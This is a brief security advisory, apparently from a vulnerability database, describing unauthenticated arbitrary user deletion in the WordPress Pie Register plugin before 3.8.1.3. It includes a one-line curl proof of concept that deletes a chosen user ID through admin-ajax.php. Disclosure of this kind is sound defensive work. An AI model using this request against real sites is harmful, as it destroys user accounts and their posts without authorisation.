Pie Register < 3.8.1.3 - Unauthenticated Arbitrary User Deletion

The plugin does not have authorisation and CSRF when deleting users via an init action handler, allowing unauthenticated attackers to delete arbitrary users (along with their posts)

PoC

Invoke the following curl command to delete the user (user id 2) curl https://example.com/wp-admin/admin-ajax.php --data ‘vdeleteit=1&vusers;[]=2’